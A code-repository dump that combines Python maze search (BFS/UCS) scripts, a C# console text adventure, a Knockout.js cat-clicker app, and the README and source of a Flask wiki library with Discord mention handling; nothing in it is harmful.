if (x - 1 >= 0) and (self.cells[y][x - 1] != self.WALL):
if (self.is_visited(y, x - 1) is False) and (self.is_queued(y, x - 1) is False):
return True
else:
return self.get_backward_cost(node) < self.nodes[y][x - 1].back_cost
elif direction == self.RIGHT:
if (x + 1 <= width - 1) and (self.cells[y][x + 1] != self.WALL):
if (self.is_visited(y, x + 1) is False) and (self.is_queued(y, x + 1) is False):
return True
else:
return self.get_backward_cost(node) < self.nodes[y][x + 1].back_cost
elif direction == self.UP:
if (y - 1 >= 0) and (self.cells[y - 1][x] != self.WALL):
if (self.is_visited(y - 1, x) is False) and (self.is_queued(y - 1, x) is False):
return True
else:
return self.get_backward_cost(node) < self.nodes[y - 1][x].back_cost
elif direction == self.DOWN:
if (y + 1 <= height - 1) and (self.cells[y + 1][x] != self.WALL):
if (self.is_visited(y + 1, x) is False) and (self.is_queued(y + 1, x) is False):
return True
else:
return self.get_backward_cost(node) < self.nodes[y + 1][x].back_cost
return False
def is_queued(self, y, x) -> bool:
return self.queue_cells[y][x]
def is_visited(self, y, x) -> bool:
return self.visit_cells[y][x]
def is_arrived(self, node) -> bool:
return (node.y == self.y_end) and (node.x == self.x_end)
def main():
input_file = open('input.txt', 'r')
output_file = open("output.txt", "w")
T = input_file.readline()
for i in range(int(T)):
# read maze files T times
input_file.readline()
height, width = input_file.readline().split()
height = int(height)
width = int(width)
y_start = 0
x_start = 0
y_end = height - 1
x_end = width - 1
cells = []
for h in range(int(height)):
row = input_file.readline().strip().split(',')
row = [int(element) for element in row]
cells.append(row)
ucs = UCS(cells, y_start, x_start, y_end, x_end)
explored, paths = ucs.search_answer()
for ele in explored:
output_file.write(str(ele) + "\n")
for path in paths:
output_file.write(str(path))
output_file.write("\n\n")
output_file.close()
input_file.close()
if __name__ == '__main__':
main()
<file_sep>"""
BFS uses queue, so first in first out
BFS does not need cost unlike A* search
"""
import queue
class Node(object):
def __init__(self, y: int, x: int, parent):
self.y = y
self.x = x
self.parent = parent
class BFS(object):
def __init__(self, cells: list, y_start: int, x_start: int, y_end: int, x_end: int):
self.LEFT = 0
self.RIGHT = 1
self.UP = 2
self.DOWN = 3
self.WALL = 1
self.cells = cells
self.y_start = y_start
self.x_start = x_start
self.y_end = y_end
self.x_end = x_end
self.y = y_start
self.x = x_start
width = len(cells[0])
height = len(cells)
self.queue_cells = [[False for x in range(width)] for y in range(height)]
self.visit_cells = [[False for x in range(width)] for y in range(height)]
self.nodes = [[Node(y, x, None) for x in range(width)]
for y in range(height)]
self.q = queue.Queue()
self.queued = []
self.explored =[]
def search_answer(self):
# Start search from root node where is (0, 0)
# Breadth First search by using queue
root_node = Node(self.y_start, self.x_start, None)
self.q.put(root_node)
while not self.q.empty():
current_node = self.dequeue()
if self.is_arrived(current_node):
# Print optimal paths
path_node = current_node
paths = []
while path_node.parent is not None:
paths.insert(0, (path_node.y, path_node.x))
path_node = path_node.parent
paths.insert(0, (path_node.y, path_node.x))
for path in paths:
print(path, end='')
print()
print()
return self.explored, paths
if self.is_reachable(current_node, self.LEFT):
self.enqueue(current_node, self.LEFT)
if self.is_reachable(current_node, self.RIGHT):
self.enqueue(current_node, self.RIGHT)
if self.is_reachable(current_node, self.UP):
self.enqueue(current_node, self.UP)
if self.is_reachable(current_node, self.DOWN):
self.enqueue(current_node, self.DOWN)
def dequeue(self) -> Node:
current_node = self.q.get()
self.visit_cells[current_node.y][current_node.x] = True
self.explored.append(str(current_node.y) + " " + str(current_node.x))
print(str(current_node.y) + " " + str(current_node.x))
self.y = current_node.y
self.x = current_node.x
return current_node
def enqueue(self, node, direction):
y = node.y
x = node.x
if direction == self.LEFT:
x = x - 1
elif direction == self.RIGHT:
x = x + 1
elif direction == self.UP:
y = y - 1
elif direction == self.DOWN:
y = y + 1
self.nodes[y][x] = Node(y, x, node)
self.q.put(self.nodes[y][x])
self.queue_cells[y][x] = True
def is_reachable(self, node, direction) -> bool:
y = node.y
x = node.x
width = len(self.cells[0])
height = len(self.cells)
# Check out of index error, queued or visited cell, and wall
if direction == self.LEFT:
return (x - 1 >= 0) and \
(self.is_queued(y, x - 1) == False) and \
(self.is_visited(y, x - 1) == False) and \
(self.cells[y][x - 1] != self.WALL)
elif direction == self.RIGHT:
return (x + 1 <= width - 1) and \
(self.is_queued(y, x + 1) == False) and \
(self.is_visited(y, x + 1) == False) and \
(self.cells[y][x + 1] != self.WALL)
elif direction == self.UP:
return (y - 1 >= 0) and \
(self.is_queued(y - 1, x) == False) and \
(self.is_visited(y - 1, x) == False) and \
(self.cells[y - 1][x] != self.WALL)
elif direction == self.DOWN:
return (y + 1 <= height - 1) and \
(self.is_queued(y + 1, x) == False) and \
(self.is_visited(y + 1, x) == False) and \
(self.cells[y + 1][x] != self.WALL)
return False
def is_queued(self, y, x) -> bool:
return self.queue_cells[y][x]
def is_visited(self, y, x) -> bool:
return self.visit_cells[y][x]
def is_arrived(self, node) -> bool:
return (node.y == self.y_end) and (node.x == self.x_end)
def main():
input_file = open('input.txt', 'r')
output_file = open("output.txt", "w")
T = input_file.readline()
for i in range(int(T)):
# read maze files T times
input_file.readline()
height, width = input_file.readline().split()
height = int(height)
width = int(width)
y_start = 0
x_start = 0
y_end = height - 1
x_end = width - 1
cells = []
for h in range(int(height)):
row = input_file.readline().strip().split(',')
row = [int(element) for element in row]
cells.append(row)
bfs = BFS(cells, y_start, x_start, y_end, x_end)
explored, paths = bfs.search_answer()
for ele in explored:
output_file.write(str(ele) + "\n")
for path in paths:
output_file.write(str(path))
output_file.write("\n\n")
output_file.close()
input_file.close()
if __name__ == '__main__':
main()
| 807589713da31a9f93b88d46db1b1f179120f9ac | [
"Python"
] | 2 | Python | queuestack/astar-search | f5453a2aac5535b0f786465ba91b52f43bc14623 | 1702544cf7753ed4812621c62fe8d9bf74e7c767 |
refs/heads/master | <repo_name>maxPrakken/TextAdventure<file_sep>/TextAdventure/NavMaster.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TextAdventure
{
class NavMaster
{
public List<Room> allRooms = new List<Room>();
public Room curRoom;
public NavMaster()
{
}
public void CreateRooms()
{
Room start = new Room("start");
Room hub = new Room("hub");
Room living = new Room("living");
Room kitchen = new Room("kitchen");
Room garage = new Room("garage");
Room secret = new Room("secret", true);
start.AddDoors(hub, "east");
hub.AddDoors(living, "north");
hub.AddDoors(kitchen, "south");
hub.AddDoors(garage, "east");
hub.AddDoors(start, "west");
living.AddDoors(hub, "south");
kitchen.AddDoors(hub, "north");
kitchen.AddDoors(secret, "east");
garage.AddDoors(hub, "west");
garage.AddDoors(secret, "south");
secret.AddDoors(garage, "north");
secret.AddDoors(kitchen, "west");
allRooms.Add(start);
allRooms.Add(hub);
allRooms.Add(living);
allRooms.Add(kitchen);
allRooms.Add(garage);
allRooms.Add(secret);
curRoom = start;
}
}
}
<file_sep>/TextAdventure/Program.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TextAdventure
{
class Program
{
static string response = "";
static NavMaster _nm = new NavMaster();
static Player p = new Player();
static void Main(string[] args)
{
Intro();
_nm.CreateRooms();
while (true)
{
GetResponse();
}
}
static void GetResponse()
{
response = Console.ReadLine();
ResolveResponse();
}
static void ResolveResponse()
{
string[] splitResponse = new string[3];
if (response.Contains(" ")) {
splitResponse = response.Split(null);
}
if (String.Compare("help", response, StringComparison.OrdinalIgnoreCase) == 0)
{
Console.Write("here are some handy commands:\n\nHELP : brings up this list of handy commands\n\n" +
"SEARCH : searches the current room for stuff you can pickup or use\n\n" +
"PICKUP 'OBJECT' : pickes up the object that you're referencing if it is in the room and pickupable\n\n" +
"GO 'NORTH/EAST/SOUTH/WEST' : goes to the next room\n\n" +
"USE 'OBJECT' : uses the object you selected\n\n" +
"DROP 'OBJECT' : droppes the object you selected from your inventory, and adds it to the room's inventory\n\n" +
"DOORS : gives you a list of all the doors in the room\n\n" +
"INVENTORY : gives you a list of all the items in your inventory\n\n");
}
else if (String.Compare("search", response, StringComparison.OrdinalIgnoreCase) == 0)
{
Console.WriteLine("\nthe " + _nm.curRoom.GetName() + "room contains:");
foreach (GameObject gm in _nm.curRoom.GetInventory())
{
Console.WriteLine(gm.GetName());
}
}
else if (String.Compare("pickup", splitResponse[0], StringComparison.OrdinalIgnoreCase) == 0)
{
if (_nm.curRoom.TakeFromInventory(splitResponse[1], p))
{
Console.WriteLine("\nyou've taken " + splitResponse[1] + " and put it in your inventory!\n");
} else
{
Console.WriteLine(splitResponse[1] + " is not a item in the inventory of the " + _nm.curRoom.GetName() + " room");
}
}
else if (String.Compare("go", splitResponse[0], StringComparison.OrdinalIgnoreCase) == 0)
{
int match = 0;
foreach (var d in _nm.curRoom.GetDoors())
{
if (String.Compare(splitResponse[1], d.Value, StringComparison.OrdinalIgnoreCase) == 0)
{
if (d.Key.GetLocked())
{
if (p.inventory.Count > 0)
{
foreach (GameObject gm in p.inventory)
{
if ("key_" + d.Key.GetName() == gm.GetName())
{
match = 1;
_nm.curRoom = d.Key;
Console.WriteLine("\nYou've unlocked and entered the " + d.Key.GetName() + " room\n");
break;
}
else
{
match = -1;
}
}
}else
{
match = -1;
}
}
else
{
match = 1;
_nm.curRoom = d.Key;
}
}
}
if (match == 0)
{
Console.WriteLine("\n" + splitResponse[1] + " is not a valid imput");
}
if(match == -1)
{
Console.WriteLine("You do not posses the key to this room");
}
}
else if (String.Compare("use", splitResponse[0], StringComparison.OrdinalIgnoreCase) == 0)
{
foreach (GameObject gm in p.inventory)
{
if (String.Compare(gm.GetName(), splitResponse[1], StringComparison.OrdinalIgnoreCase) == 0)
{
if(gm.GetUsable())
{
gm.Use();
break;
}
}
}
}
else if (String.Compare("drop", splitResponse[0], StringComparison.OrdinalIgnoreCase) == 0)
{
GameObject toRemove = null;
foreach (GameObject gm in p.inventory)
{
if(String.Compare(gm.GetName(), splitResponse[1], StringComparison.OrdinalIgnoreCase) == 0)
{
toRemove = gm;
_nm.curRoom.GetInventory().Add(gm);
break;
}
}
if(toRemove != null)
{
p.inventory.Remove(toRemove);
Console.WriteLine("\nyou have dropped " + splitResponse[1] + " on the floor of the room\n");
}else
{
Console.WriteLine("\n" + splitResponse[1] + " is not a item in your inventory");
}
}
else if (String.Compare("doors", response, StringComparison.OrdinalIgnoreCase) == 0)
{
Console.WriteLine("\nyou got door(s) on your: \n");
foreach (var d in _nm.curRoom.GetDoors())
{
Console.WriteLine(d.Value + "\n");
}
}
else if (String.Compare("inventory", response, StringComparison.OrdinalIgnoreCase) == 0)
{
Console.WriteLine("\nYour inventory consists of...\n");
foreach(GameObject gm in p.inventory)
{
Console.WriteLine(gm.GetName());
}
}
}
static void Intro()
{
Console.Write("Welcome to this Text Adventure game that has not have a name yet.\n" +
"here are some handy commands:\n\nHELP : brings up this list of handy commands\n\n" +
"SEARCH : searches the current room for stuff you can pickup or use\n\n" +
"PICKUP 'OBJECT' : pickes up the object that you're referencing if it is in the room and pickupable\n\n" +
"GO 'NORTH/EAST/SOUTH/WEST' : goes to the next room\n\n" +
"USE 'OBJECT' : uses the object you selected\n\n" +
"DROP 'OBJECT' : droppes the object you selected from your inventory, and adds it to the room's inventory\n\n" +
"DOORS : gives you a list of all the doors in the room\n\n" +
"INVENTORY : gives you a list of all the items in your inventory\n\n");
}
}
}
<file_sep>/TextAdventure/Room.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TextAdventure
{
class Room
{
private List<GameObject> inventory = new List<GameObject>();
private Dictionary<Room, string> doors = new Dictionary<Room, string>();
private bool locked = false;
private string name;
public Room(string name, bool locked = false) // N E S W
{
this.name = name;
this.locked = locked;
SpawnLoot();
}
private void SpawnLoot()
{
Medical m = new Medical(2, "key_secret");
inventory.Add(m);
}
public void AddDoors(Room room, string orientation)
{
this.doors.Add(room, orientation);
}
public Dictionary<Room, string> GetDoors()
{
return doors;
}
public string GetName()
{
return name;
}
public List<GameObject> GetInventory()
{
return inventory;
}
public bool TakeFromInventory(string name, Player p)
{
GameObject ToRemove = null;
bool success = false;
foreach(GameObject cgm in inventory)
{
if(name == cgm.GetName())
{
p.inventory.Add(cgm);
ToRemove = cgm;
success = true;
}
}
if (success)
{
inventory.Remove(ToRemove);
return true;
} else
{
return false;
}
}
public bool GetLocked()
{
return locked;
}
}
}
<file_sep>/TextAdventure/GameObject.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TextAdventure
{
abstract class GameObject
{
protected int size;
protected string name;
protected bool usable;
public void Use()
{
if(usable)
{
UseItem();
Console.WriteLine("\n" + name + " has been used\n");
}else
{
Console.WriteLine("This item is not a usable object, try something else!");
}
}
protected abstract void UseItem();
public int GetSize()
{
return size;
}
public bool GetUsable()
{
return usable;
}
public string GetName()
{
return name;
}
}
}
<file_sep>/TextAdventure/Medical.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TextAdventure
{
class Medical : GameObject
{
public Medical(int size, string name)
{
this.size = size;
this.name = name;
usable = true;
}
protected override void UseItem()
{
Console.WriteLine("you just took meds yo");
}
}
}
<file_sep>/TextAdventure/Player.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TextAdventure
{
class Player
{
public int health = 100;
public List<GameObject> inventory = new List<GameObject>();
public Player()
{
}
}
}
| ff7d199699805dcbb2217d54c04674fc67052ef6 | [
"C#"
] | 6 | C# | maxPrakken/TextAdventure | ca3113d6c5d8de32aca8d3e060c716e774eab018 | e6ef773ddc251f52a14a839047016db83d6c0953 |
refs/heads/master | <file_sep>var initialCats = [{'clickCount' : 0,
'name' : 'Tabby',
'imgSrc' : 'img/prayingCat.jpeg'},
{'clickCount' : 0,
'name' : 'Evrica',
'imgSrc' : 'img/wonderingCat.jpeg'},
{'clickCount' : 0,
'name' : 'Mousy',
'imgSrc' : 'img/scaredCat.jpeg'}];
var Cat = function(data) {
this.clickCount = ko.observable(data.clickCount);
this.name = ko.observable(data.name);
this.imgSrc = ko.observable(data.imgSrc);
//this.imgAttribution = ko.observable('https://www.flickr.com/photos/bigtallguy/434164568');
this.level = function() {
if (this.clickCount()<10)
return "Newborn";
else if (this.clickCount()<20)
return "Baby";
else if (this.clickCount()<40)
return "Child";
else if (this.clickCount()<80)
return "Teen";
else
return "Adult";
}
this.fullName = ko.computed(function() {
return this.name() + ' - ' + this.level();
}, this);
this.incrementCounter = function() {
this.clickCount(this.clickCount() + 1);
};
}
var ViewModel = function() {
var self = this;
self.catsArray = ko.observableArray();
initialCats.forEach(function(rawCat){
self.catsArray.push( new Cat(rawCat) );
});
this.currentCat = ko.observable(this.catsArray()[0]);
self.changeCurrentCat = function(clickedCat) {
self.currentCat(clickedCat);
console.log('Hi');
}
}
ko.applyBindings(new ViewModel());
<file_sep>#!/bin/bash
cp index.html /var/www/
cp -r js /var/www
cp -r img /var/www/img
| 4a8f314d1ad4e08e96af10e5c391764e6570b06b | [
"JavaScript",
"Shell"
] | 2 | JavaScript | IgorPelevanyuk/CatClicker-Knockout | 65ef5540631e1e6bb93c3f715a091f3d5bab4ea4 | 9e11ea6de522f643924adc9cd2bedaa4a2bc5301 |
refs/heads/master | <repo_name>tobylockyer/terraform_example<file_sep>/cloudwatchagent.sh
#! /bin/bash
apt-get -y install wget zip # just in case!
INSTALLDIR="/tmp/cloudwatchinstall"
mkdir $INSTALLDIR
cd $INSTALLDIR
wget https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip
unzip AmazonCloudWatchAgent.zip
./install.sh
echo '{
"agent": {
"metrics_collection_interval": 60,
"run_as_user": "cwagent"
},
"metrics": {
"append_dimensions": {
"AutoScalingGroupName": "${aws:AutoScalingGroupName}",
"ImageId": "${aws:ImageId}",
"InstanceId": "${aws:InstanceId}",
"InstanceType": "${aws:InstanceType}"
},
"metrics_collected": {
"disk": {
"measurement": [
"used_percent"
],
"metrics_collection_interval": 60,
"resources": [
"*"
]
},
"mem": {
"measurement": [
"mem_used_percent"
],
"metrics_collection_interval": 60
}
}
}
}' > $INSTALLDIR/config.json
/opt/aws/amazon-cloudwatch-agent/bin/amazon-cloudwatch-agent-ctl -a fetch-config -m ec2 -c file:/$INSTALLDIR/config.json -s | 2395dff05597161ab3fbbc80828a6cc4186b5a01 | [
"Shell"
] | 1 | Shell | tobylockyer/terraform_example | c66a7da4099dc271708e9db8f43f335ebcc979ed | 53ad399c00a5dbaf691521f03330ed74093014c5 |
refs/heads/main | <file_sep>This package can be used to host a wiki on a [flask-view-tree](https://github.com/fenhl/flask-view-tree)-based website.
# Usage
First, symlink `wiki` inside your template folder to the `templates` directory in this repository, or write your own versions of these templates. If you choose the first option, make sure you have a template called `base.html.j2` that the wiki templates can extend.
There are two ways to integrate flask-wiki into your website:
* If you want your website's index page (`/`) to be the wiki main page, just call `flask_wiki.index(app)` instead of writing an index node decorated with `flask_view_tree.index(app)`.
* If you want the wiki main page to be a subpage of a `view`, register it by calling `flask_wiki.child(view)` instead of writing a child view decorated with `view.child()`. The node name is optional and defaults to `'wiki'`.
Both of these functions have some required keyword-only arguments:
* `md` should be an instance of `flaskext.markdown.Markdown`. Two extensions will be registered on it:
* An extension that can parse Discord mentions
* An extension that adds the `table` and `table-responsive` classes to all `<table>` elements
* `user_class` should be a subclass of `flask_login.UserMixin` with the class method `by_tag` which takes a Discord username and discriminator and returns an instance, and the following instance attributes (or properties):
* `name` for the Discord nickname
* `profile_url` for the page to which a Discord mention should link
* `snowflake` for the Discord user ID
* optionally, a `__html__` or `__str__` representation
* `wiki_name` will be used in `<title>` tags as the name of the wiki.
Exactly one of the following keyword-only arguments must be provided:
* `db`, an instance of `flask_sqlalchemy.SQLAlchemy` whose `wiki` table will be used to store articles, and whose `wiki_namespaces` table will be used to track which namespaces exist.
* `wiki_root`, an instance of `pathlib.Path` representing the directory where wiki articles will be saved. Each namespace will be in its own subdirectory. Edit history will not be saved.
The script `flask_wiki/migrate.py` in this repository can be used to migrate a wiki database from the `wiki_root` backend to the `db` backend.
There are also the following optional keyword arguments:
* `current_user` is a function that returns the user currently viewing this page, as an instance of `user_class`. Defaults to returning `flask.g.user`.
* `edit_decorators` is a list of decorators that will be added to the edit view (which is also used to create a new article). It defaults to an empty list.
* `mentions_to_tags` is a function that takes a Markdown string and returns the same string except with user mentions replaced with a more user-friendly syntax. By default this converts Discord mentions like `<@86841168427495424>` to Discord tags like `@Fenhl#4813`.
* `save_hook` is a function that will be called after each revision is saved. It takes as positional arguments the namespace, title, text, author, and summary of a revision. If the function takes a 6th parameter, it will be set to a Boolean indicating whether the revision newly created the article. Defaults to no-op.
* `tags_to_mentions` is the inverse of `mentions_to_tags`.
* `user_class_constructor` is a function that constructs an instance of `user_class` from the snowflake in a user mention. It defaults to `user_class`.
Any remaining keyword arguments will be passed through to `flask_view_tree.index` or `view.child`.
## The wiki object
The view function node representing the wiki index has a few extra attributes defined on it. It can be accessed as the return value of the `flask_wiki.child` or `flask_wiki.index` call, or as `g.wiki`.
* `wiki.MarkdownField` is a subclass of `flask_pagedown.fields.PageDownField` that handles `mentions_to_tags` and `tags_to_mentions` automatically.
* `wiki.WikiEditForm()` returns an instance of a subclass of `flask_wtf.FlaskForm` with the fields `source` (a `MarkdownField`) and `submit_wiki_edit_form` (a `wtforms.SubmitField`).
* `wiki.exists(namespace, title)` returns whether that article exists.
* `wiki.history(namespace, title)` returns an iterable of revisions of that article, in chronological order. The method only exists if the `db` backend is used. A revision has the following attributes:
* `author`, either `None` or an instance of `user_class` representing the user who submitted this revision
* `id`, an `int` uniquely identifying this revision
* `namespace` of the article
* `summary`, either `None` or a `str`
* `text`
* `timestamp`, a timezone-aware `datetime`
* `title` of the article
* `wiki.mentions_to_tags` is the function passed to the setup function, or its default fallback.
* `wiki.namespace_exists(namespace)` returns whether that namespace exists.
* `wiki.namespaces()` returns an iterator over pairs of namespaces and all articles in that namespace.
* `wiki.redirect_namespaces` is a dictionary mapping namespaces to functions that take an article name and return the URL to which the namespaced article node should redirect. By default, all articles in the `wiki` namespace are redirected to their respective unnamespaced article node.
* `wiki.save(namespace, title, text, author=None, summary=None, created=False)` saves that text as that article's new Markdown source. `author`, if given, should be an instance of `user_class`. `author` and `summary` are ignored by the `wiki_root` backend.
* `wiki.source(namespace, title)` returns that article's Markdown source. Raises FileNotFoundError if the article doesn't exist.
* `wiki.tags_to_mentions` is the function passed to the setup function, or its default fallback.
<file_sep>#!/usr/bin/env python3
import sys
import datetime
import pathlib
import sqlalchemy # PyPI: SQLAlchemy
import sqlalchemy.ext.declarative # PyPI: SQLAlchemy
def migrate(wiki_root, engine):
"""Migrate a flask-wiki wiki from the file system backend to the database backend"""
Base = sqlalchemy.ext.declarative.declarative_base()
class Namespace(Base):
__tablename__ = 'wiki_namespaces'
name = sqlalchemy.Column(sqlalchemy.String(), primary_key=True)
class Revision(Base):
__tablename__ = 'wiki'
id = sqlalchemy.Column(sqlalchemy.Integer, primary_key=True)
namespace = sqlalchemy.Column(sqlalchemy.String(), nullable=False)
title = sqlalchemy.Column(sqlalchemy.String(), nullable=False)
text = sqlalchemy.Column(sqlalchemy.String(), nullable=False)
author = sqlalchemy.Column(sqlalchemy.BigInteger)
timestamp = sqlalchemy.Column(sqlalchemy.TIMESTAMP(timezone=True), nullable=False)
summary = sqlalchemy.Column(sqlalchemy.String())
Base.metadata.create_all(engine)
session = sqlalchemy.orm.sessionmaker(bind=engine)()
for namespace_dir in wiki_root.iterdir():
session.add(Namespace(name=namespace_dir.name))
for article_path in namespace_dir.iterdir():
with article_path.open() as article_f:
text = article_f.read()
session.add(Revision(
namespace=namespace_dir.name,
title=article_path.stem,
text=text,
timestamp=datetime.datetime.fromtimestamp(article_path.stat().st_mtime, datetime.timezone.utc),
summary='automatically migrated'
))
session.commit()
if __name__ == '__main__':
try:
wiki_root = pathlib.Path(sys.argv[1])
engine = sqlalchemy.create_engine(sys.argv[2], echo=True)
except IndexError:
sys.exit('Usage: migrate-flask-wiki <wiki-root> <db-url>')
migrate(wiki_root, engine)
<file_sep>import datetime
import inspect
import re
import flask # PyPI: Flask
import flask_pagedown.fields # PyPI: Flask-PageDown
import flask_wtf # PyPI: Flask-WTF
import flaskext.markdown # PyPI: Flask-Markdown
import jinja2 # PyPI: Jinja2
import markdown # PyPI: Markdown
import markdown.inlinepatterns # PyPI: Markdown
import markdown.treeprocessors # PyPI: Markdown
import markdown.util # PyPI: Markdown
import pytz # PyPI: pytz
import wtforms # PyPI: WTForms
import flask_view_tree # https://github.com/fenhl/flask-view-tree
DISCORD_MENTION_REGEX = '<@!?([0-9]+)>'
DISCORD_TAG_REGEX = '@([^@#:\n]{2,32})#([0-9]{4})' # see https://discord.com/developers/docs/resources/user
def child(view, name='wiki', display_string=None, *, current_user=lambda: flask.g.user, db=None, edit_decorators=[], md, mentions_to_tags=None, save_hook=lambda namespace, title, text, author, summary: None, tags_to_mentions=None, user_class, user_class_constructor=None, wiki_name, wiki_root=None, **options):
return setup(view.view_func_node.app, current_user, db, edit_decorators, md, mentions_to_tags, save_hook, tags_to_mentions, user_class, user_class_constructor, wiki_name, wiki_root, view.child(name, display_string, **options))
def index(app, *, current_user=lambda: flask.g.user, db=None, edit_decorators=[], md, mentions_to_tags=None, save_hook=lambda namespace, title, text, author, summary: None, tags_to_mentions=None, user_class, user_class_constructor=None, wiki_root=None, **options):
return setup(app, current_user, db, edit_decorators, md, mentions_to_tags, save_hook, tags_to_mentions, user_class, user_class_constructor, wiki_name, wiki_root, flask_view_tree.index(app, **options))
def render_template(template_name, **kwargs):
if template_name is None:
template_path = f'{flask.request.endpoint.replace(".", "/")}.html.j2'
else:
template_path = f'{template_name.replace(".", "/")}.html.j2'
return jinja2.Markup(flask.render_template(template_path, **kwargs))
def setup(app, current_user, db, edit_decorators, md, mentions_to_tags, save_hook, tags_to_mentions, user_class, user_class_constructor, wiki_name, wiki_root, decorator):
if db is None and wiki_root is None:
raise ValueError('Must specify either `db` or `wiki_root`')
elif db is not None and wiki_root is not None:
raise ValueError('Cannot specify both `db` and `wiki_root`')
if user_class_constructor is None:
user_class_constructor = user_class
class DiscordMentionPattern(markdown.inlinepatterns.LinkInlineProcessor):
def handleMatch(self, m, data):
user = user_class_constructor(m.group(1))
el = markdown.util.etree.Element('a')
el.text = f'@{user.name}'
el.set('href', user.profile_url)
return el, m.start(0), m.end(0)
@md.extend()
class DiscordMentionExtension(markdown.Extension):
def extendMarkdown(self, md, md_globals):
md.inlinePatterns.add('discord-mention', DiscordMentionPattern(DISCORD_MENTION_REGEX, md), '<reference')
class TableClassTreeProcessor(markdown.treeprocessors.Treeprocessor):
def run(self, root):
for child in root:
if child.tag == 'table':
if child.get('class', '') == '':
child.set('class', 'table table-responsive')
else:
child.set('class', child.get('class') + ' table table-responsive')
self.run(child) # recurse
@md.extend()
class TableClassExtension(markdown.Extension):
def extendMarkdown(self, md, md_globals):
md.treeprocessors.register(TableClassTreeProcessor(md), 'tableclass', 5)
def parse_iso_datetime(datetime_str, *, tz=pytz.utc):
if isinstance(datetime_str, datetime.datetime):
return datetime_str
result = dateutil.parser.isoparse(datetime_str)
if result.tzinfo is not None and result.tzinfo.utcoffset(result) is not None: # result is timezone-aware
return result.astimezone(tz)
else:
return tz.localize(result, is_dst=None)
@app.template_filter()
def dt_format(value, format='%Y-%m-%d %H:%M:%S'):
if isinstance(value, str):
value = parse_iso_datetime(value)
if hasattr(value, 'astimezone'):
return render_template('wiki.datetime-format', local_timestamp=value, utc_timestamp=value.astimezone(pytz.utc), format=format)
else:
return value.strftime(format)
@decorator
def wiki_index():
return render_template('wiki.index', wiki_name=wiki_name)
wiki_index.redirect_namespaces = {'wiki': lambda title: flask.g.view_node.parent.url}
@wiki_index.children()
def wiki_article(title):
if wiki_index.exists('wiki', title):
return render_template('wiki.article', namespace='wiki', title=title, revision=None, wiki_name=wiki_name)
else:
return render_template('wiki.404', namespace='wiki', title=title, revision=None, wiki_name=wiki_name), 404
@wiki_article.children()
def wiki_article_namespaced(title, namespace):
if namespace in wiki_index.redirect_namespaces:
return flask.redirect(wiki_index.redirect_namespaces[namespace](title))
elif wiki_index.exists(namespace, title):
return render_template('wiki.article', namespace=namespace, title=title, revision=None, wiki_name=wiki_name)
else:
return render_template('wiki.404', namespace=namespace, title=title, revision=None, wiki_name=wiki_name), 404
class MarkdownField(flask_pagedown.fields.PageDownField):
def _value(self):
if self.raw_data:
return self.raw_data[0]
elif self.data is not None:
return mentions_to_tags(self.data)
else:
return ''
def process_formdata(self, valuelist):
if valuelist:
self.data = tags_to_mentions(valuelist[0])
def WikiEditForm(prev_source):
class Form(flask_wtf.FlaskForm):
source = MarkdownField('Text', default=prev_source)
if db is not None:
Form.summary = wtforms.StringField('Edit Summary', description={'placeholder': 'optional'})
Form.submit_wiki_edit_form = wtforms.SubmitField('Save')
return Form()
@wiki_article_namespaced.child('edit', methods=['GET', 'POST'], decorators=edit_decorators)
def wiki_article_edit(title, namespace):
exists = wiki_index.exists(namespace, title)
if exists:
source = wiki_index.source(namespace, title)
elif wiki_index.namespace_exists(namespace):
source = ''
else:
return render_template('wiki.namespace-404', namespace=namespace, wiki_name=wiki_name), 404
wiki_edit_form = WikiEditForm(source)
if wiki_edit_form.submit_wiki_edit_form.data and wiki_edit_form.validate():
wiki_index.save(namespace, title, wiki_edit_form.source.data, author=current_user(), summary=wiki_edit_form.summary.data, created=not exists)
return flask.redirect(flask.g.view_node.parent.url)
return render_template('wiki.edit', exists=exists, title=title, namespace=namespace, wiki_name=wiki_name, wiki_edit_form=wiki_edit_form)
@wiki_article_namespaced.child('history')
def wiki_article_history(title, namespace):
if wiki_index.exists(namespace, title):
return render_template('wiki.history', title=title, namespace=namespace, wiki_name=wiki_name)
else:
return render_template('wiki.404', title=title, namespace=namespace, wiki_name=wiki_name), 404
@wiki_article_history.children(int)
def wiki_article_permalink(title, namespace, revision):
if wiki_index.exists(namespace, title, revision):
return render_template('wiki.article', namespace=namespace, title=title, revision=revision, wiki_name=wiki_name)
else:
return render_template('wiki.404', namespace=namespace, title=title, revision=revision, wiki_name=wiki_name), 404
@app.before_request
def current_time():
flask.g.wiki = wiki_index
def has_history():
return hasattr(wiki_index, 'history')
if mentions_to_tags is None:
def mentions_to_tags(text):
match = re.search(DISCORD_MENTION_REGEX, text)
if not match:
return text
user = user_class_constructor(match.group(1))
if user is None:
return f'{text[:match.end()]}{mentions_to_tags(text[match.end():])}'
else:
return f'{text[:match.start()]}@{user}{mentions_to_tags(text[match.end():])}'
if tags_to_mentions is None:
def tags_to_mentions(text):
match = re.search(DISCORD_TAG_REGEX, text)
if not match:
return text
user = user_class.by_tag(match.group(1), int(match.group(2)))
if user is None:
return f'{text[:match.end()]}{tags_to_mentions(text[match.end():])}'
else:
return f'{text[:match.start()]}<@{user.snowflake}>{tags_to_mentions(text[match.end():])}'
if db is None:
def exists(namespace, title):
article_path = wiki_root / namespace / f'{title}.md'
return article_path.exists()
def namespace_exists(namespace):
return (wiki_root / namespace).exists()
def namespaces():
for namespace_dir in sorted(wiki_root.iterdir()):
yield namespace_dir.name, sorted(article.stem for article in namespace_dir.iterdir())
def save(namespace, title, text, author=None, summary=None, created=False):
article_path = wiki_root / namespace / f'{title}.md'
with article_path.open('w') as article_f:
article_f.write(text)
if len(inspect.signature(save_hook).parameters) >= 6:
save_hook(namespace, title, text, author, summary, created)
else:
save_hook(namespace, title, text, author, summary)
def source(namespace, title, revision=None):
if revision is not None:
raise NotImplementedError('This backend does not support revision history')
article_path = wiki_root / namespace / f'{title}.md'
with article_path.open() as article_f:
return article_f.read()
else:
